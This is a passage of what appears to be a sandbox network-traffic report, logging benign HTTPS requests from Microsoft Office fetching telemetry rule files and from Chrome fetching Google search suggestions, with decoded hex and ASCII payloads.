T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:26 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dd4d8867-801e-0083-7a9b-38f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212026Z-16547b76f7ftnm6xhC1DFW9c8c00000004f000000000a0x4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:26 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:26 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: fdac4f62-e01e-0085-71ab-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212026Z-16547b76f7f64d6whC1DFWf9vn00000003cg00000000fhnx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:26 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:26 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:26 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 7a7e882b-d01e-002b-49aa-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212026Z-16547b76f7fhv4d5hC1DFW7h0n000000036g00000000bbyn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 21:20:27 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:26 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:27 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 140e2611-e01e-003c-3f87-36c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212027Z-164f84587bfh9nvdhC1DFWmce000000002q000000000n08d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 21:20:27 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:26 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:27 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 7b112b71-901e-005b-73c6-372005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212027Z-16547b76f7fmcv27hC1DFWgpcg00000003r0000000002sce x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:27 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:26 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 45d643d4-001e-0066-6189-38561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212026Z-16547b76f7f9s8x7hC1DFWywrg00000004rg0000000017me x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:27 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:27 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 316038b9-a01e-006f-2591-3713cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212027Z-1866b5c5fbbfhwqqhC1DFW5138000000046000000000n9pw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:27 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49748	142.250.181.228	443	1748	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:28 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIk6HLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 21:20:28 UTC	1266	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:28 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-AjnAi3QSFp01gBZkkFUOfA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-17 21:20:28 UTC	112	IN	Data Raw: 66 35 36 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 66 6c 20 63 6f 76 65 72 61 67 65 20 6d 61 70 73 22 2c 22 63 61 73 68 20 61 70 70 20 73 65 74 74 6c 65 6d 65 6e 74 20 63 6c 61 73 73 20 61 63 74 69 6f 6e 20 6c 61 77 73 75 69 74 22 2c 22 73 74 61 72 64 65 77 20 76 61 6c 6c 65 79 20 6d 6f 62 69 6c 65 20 63 72 61 73 68 69 6e 67 22 2c 22 Data Ascii: f56)]}'["",["nfl coverage maps","cash app settlement class action lawsuit","stardew valley mobile crashing","
2024-11-17 21:20:28 UTC	1378	IN	Data Raw: 61 72 63 61 6e 65 20 73 65 61 73 6f 6e 20 32 22 2c 22 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 20 73 6e 6f 77 20 73 74 6f 72 6d 22 2c 22 73 70 61 63 65 78 20 73 74 61 72 73 68 69 70 20 66 6c 69 67 68 74 20 36 22 2c 22 63 6f 6c 6c 65 67 65 20 62 61 73 6b 65 74 62 61 6c 6c 22 2c 22 6b 66 63 20 62 6f 6e 65 6c 65 73 73 20 63 68 69 63 6b 65 6e 20 6d 61 73 68 65 64 20 70 6f 74 61 74 6f 20 73 61 6e 64 77 69 63 68 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c Data Ascii: arcane season 2","weather forecast snow storm","spacex starship flight 6","college basketball","kfc boneless chicken mashed potato sandwich"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJl
2024-11-17 21:20:28 UTC	1378	IN	Data Raw: 54 48 52 58 62 58 42 6f 56 54 46 74 65 47 5a 6c 4e 56 64 79 63 32 68 44 5a 56 4e 76 4c 31 52 5a 57 45 6f 33 52 33 5a 4a 4e 56 56 56 62 33 4e 35 4d 30 5a 71 52 45 63 79 54 6b 4e 59 51 6c 49 32 62 6c 5a 6f 52 47 4a 6f 4e 55 39 35 61 44 56 50 62 6e 42 49 62 32 5a 78 54 47 35 53 51 6c 42 6a 62 79 39 56 63 53 38 33 63 6d 30 72 54 54 46 73 55 7a 64 35 55 46 6f 72 56 54 42 73 57 6e 46 77 52 6a 52 72 62 54 4e 49 65 6a 49 30 62 54 63 78 55 57 39 4d 51 33 59 79 64 46 4a 75 56 6d 6f 34 62 46 46 33 51 6b 39 49 63 30 52 45 51 58 6b 35 65 55 6c 7a 55 46 46 4c 4c 32 77 72 64 55 70 6e 62 48 46 72 56 46 6b 79 57 55 39 76 61 48 6c 46 52 58 4a 61 57 55 73 77 63 48 56 76 4d 6b 39 79 55 31 5a 44 4e 44 49 79 55 48 56 51 5a 6b 5a 33 57 6b 68 54 4b 31 4a 30 62 46 5a 50 61 69 39 Data Ascii: THRXbXBoVTFteGZlNVdyc2hDZVNvL1RZWEo3R3ZJNVVVb3N5M0ZqREcyTkNYQlI2blZoRGJoNU95aDVPbnBIb2ZxTG5SQlBjby9VcS83cm0rTTFsUzd5UForVTBsWnFwRjRrbTNIejI0bTcxUW9MQ3YydFJuVmo4bFF3Qk9Ic0REQXk5eUlzUFFLL2wrdUpnbHFrVFkyWU9vaHlFRXJaWUswcHVvMk9yU1ZDNDIyUHVQZkZ3WkhTK1J0bFZPai9
2024-11-17 21:20:28 UTC	1065	IN	Data Raw: 4a 45 59 6d 70 4e 53 6e 4e 70 4c 33 46 44 54 6c 63 7a 4d 55 70 42 4b 33 67 33 4e 46 51 78 59 6a 49 30 55 54 6c 50 4f 47 4d 77 61 56 56 6f 5a 6e 5a 51 64 56 68 6d 52 56 64 79 4c 30 46 50 61 6c 4a 68 56 46 51 32 53 6b 6c 78 56 6c 5a 71 63 44 5a 55 61 6e 46 30 55 6b 46 7a 55 30 56 73 55 55 46 32 65 47 45 35 65 55 35 33 59 31 4a 72 4d 48 6c 69 61 58 68 68 61 45 70 55 56 56 42 30 4d 6d 68 69 54 57 74 6f 62 45 78 4f 62 57 4a 47 51 6d 56 6a 53 33 49 31 53 30 56 55 5a 6e 6c 46 56 57 6f 34 52 7a 4e 77 4b 7a 56 4c 65 6d 64 51 56 33 68 5a 64 6a 42 34 57 6a 68 33 4c 31 4e 35 57 6c 41 78 52 46 45 34 55 6a 64 76 56 6b 4e 77 64 45 46 6f 4b 31 5a 77 56 56 5a 45 51 30 52 31 64 46 68 4c 62 47 35 31 63 46 49 7a 54 30 5a 59 65 55 30 31 64 47 70 48 52 56 4a 56 52 6b 78 45 62 Data Ascii: JEYmpNSnNpL3FDTlczMUpBK3g3NFQxYjI0UTlPOGMwaVVoZnZQdVhmRVdyL0FPalJhVFQ2SklxVlZqcDZUanF0UkFzU0VsUUF2eGE5eU53Y1JrMHliaXhhaEpUVVB0MmhiTWtobExObWJGQmVjS3I1S0VUZnlFVWo4RzNwKzVLemdQV3hZdjB4Wjh3L1N5WlAxRFE4UjdvVkNwdEFoK1ZwVVZEQ0R1dFhLbG51cFIzT0ZYeU01dGpHRVJVRkxEb
2024-11-17 21:20:28 UTC	92	IN	Data Raw: 35 36 0d 0a 48 52 4a 59 32 4a 6a 52 47 64 69 59 6b 6c 56 51 6d 46 35 65 57 4a 71 59 53 73 7a 65 6e 52 74 4b 7a 5a 5a 63 46 70 42 62 57 39 4f 54 57 39 6d 5a 33 70 77 52 58 42 6a 62 58 4d 77 55 32 78 52 53 6a 6c 57 63 6e 4e 73 65 56 6c 73 4c 33 4a 42 55 31 55 35 52 55 39 0d 0a Data Ascii: 56HRJY2JjRGdiYklVQmF5eWJqYSszenRtKzZZcFpBbW9OTW9mZ3pwRXBjbXMwU2xRSjlWcnNseVlsL3JBU1U5RU9
2024-11-17 21:20:28 UTC	1338	IN	Data Raw: 35 33 33 0d 0a 4f 61 46 59 79 56 6c 68 43 54 6e 64 56 63 44 55 79 55 48 46 51 64 48 4e 4b 59 30 6c 34 57 6c 46 50 53 79 38 79 52 55 56 4d 53 30 5a 4b 54 54 56 36 63 55 5a 55 4e 6d 5a 53 53 6c 52 53 62 56 59 78 4b 32 35 53 57 6e 64 6f 64 58 52 34 53 6b 52 68 52 33 64 54 62 48 5a 56 63 47 46 6b 53 54 46 6c 64 46 4a 55 64 6d 4d 34 57 57 74 61 52 31 70 6e 59 55 5a 72 57 45 6c 50 54 55 4a 54 54 45 35 45 61 57 4e 68 62 6d 74 50 61 45 35 56 62 58 56 35 57 57 4a 30 56 46 4d 31 55 7a 46 50 62 7a 46 50 63 6d 4a 56 5a 33 46 52 4d 47 78 36 59 30 4a 4a 54 6d 70 78 64 48 52 32 5a 32 77 78 54 31 52 6a 62 30 35 6a 64 31 63 77 65 56 56 54 54 44 52 6e 62 46 6c 35 52 45 5a 77 59 32 46 52 4e 48 56 52 4b 33 4e 30 56 57 68 6a 62 6c 70 54 59 6d 56 61 55 58 42 4a 56 32 35 71 4f Data Ascii: 533OaFYyVlhCTndVcDUyUHFQdHNKY0l4WlFPSy8yRUVMS0ZKTTV6cUZUNmZSSlRSbVYxK25SWndodXR4SkRhR3dTbHZVcGFkSTFldFJUdmM4WWtaR1pnYUZrWElPTUJTTE5EaWNhbmtPaE5VbXV5WWJ0VFM1UzFPbzFPcmJVZ3FRMGx6Y0JJTmpxdHR2Z2wxT1Rjb05jd1cweVVTTDRnbFl5REZwY2FRNHVRK3N0VWhjblpTYmVaUXBJV25qO
2024-11-17 21:20:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49750	142.250.181.228	443	1748	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:28 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIk6HLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
